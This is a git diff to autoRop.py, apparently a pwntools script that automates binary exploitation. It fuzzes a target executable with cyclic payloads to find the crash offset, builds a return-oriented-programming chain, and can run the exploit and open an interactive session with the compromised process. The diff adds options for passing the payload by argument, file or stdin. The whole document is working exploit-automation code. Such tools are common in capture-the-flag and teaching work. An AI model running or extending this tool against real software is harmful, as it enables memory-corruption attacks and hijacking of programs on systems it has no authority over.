diff --git a/autoRop.py b/autoRop.py index e8f92a4..a97e581 100755 --- a/autoRop.py +++ b/autoRop.py @@ -9,7 +9,8 @@ from contextlib import redirect_stderr from pwnlib.context import context from pwnlib.elf.corefile import Coredump -from pwnlib.tubes.process import process, signal +from pwnlib.tubes.process import process, signal, PTY +from pwnlib import term from pwnlib.util.cyclic import cyclic, cyclic_find from pwnlib.util.packing import pack from pwnlib import atexit as pwnlibexit @@ -39,6 +40,7 @@ arg_parser.add_argument("--rop_file", metavar="rop_file", default="rop.txt", typ arg_parser.add_argument("--rop_exec_file", metavar="rop_exec", default="rop_exec.json", type=str, help="The path to the file containing the command for the ROP to run") arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try") arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try") +arg_parser.add_argument("--input_method", metavar="method", choices=['arg', 'file', 'stdin'], default='arg', help="Method of passing the payload to the target binary") arg_parser.add_argument("--run", action="store_true", default=False, help="Automatically run the ROP on the executable") args = arg_parser.parse_args() @@ -49,23 +51,36 @@ rop_exec_file = args.rop_exec_file min_payload = args.min_payload max_payload = args.max_payload run = args.run +input_method = args.input_method + +def run_program(exec_file: str, payload: str, mode: str, **kwargs): + p = None + if mode == 'arg': + p = process([f'./{exec_file}', payload], **kwargs) + elif mode == 'file': + with open('/tmp/input.txt', 'wb') as f: + f.write(payload) + f.flush() + p = process([f'./{exec_file}', '/tmp/input.txt'], **kwargs) + elif mode == 'stdin': + p = process([f'./{exec_file}'], **kwargs) + p.send(payload) + + return p def find_offset(exec_file: str, min_payload: int, max_payload: int): print("[ Find Offset Length ]") - input_file = "/tmp/input.txt" - payload_size = min_payload while payload_size <= max_payload: print(f" ├─[🤔] Trying payload {payload_size}...") - with open(input_file, "wb") as f: - payload = cyclic(payload_size) - f.write(payload) - - proc = process([f"./{exec_file}", input_file]) + payload = cyclic(payload_size) + proc = run_program(exec_file, payload, input_method, alarm=2) exit_code = proc.poll(block=True) + x = proc.readall() + print(x) if exit_code != 0: # ignore the warnings returned by pwnlib, if finding corefile fails then core is None @@ -108,9 +123,12 @@ with open("log/ropgadget.log", "wb") as f: print(f" └─[🤩] All done! The ROP input is saved to {rop_file}!") if run: + atexit.unregister(pwnlibexit._run_handlers) pwnlibexit._run_handlers() print() print(f"[ Run Program : ./{exec_file} {rop_file} ]") - os.execv(exec_file, [exec_file, rop_file]) - + with open(rop_file, 'rb') as f: + term.init() + p = run_program(exec_file, f.read(), input_method) + p.interactive()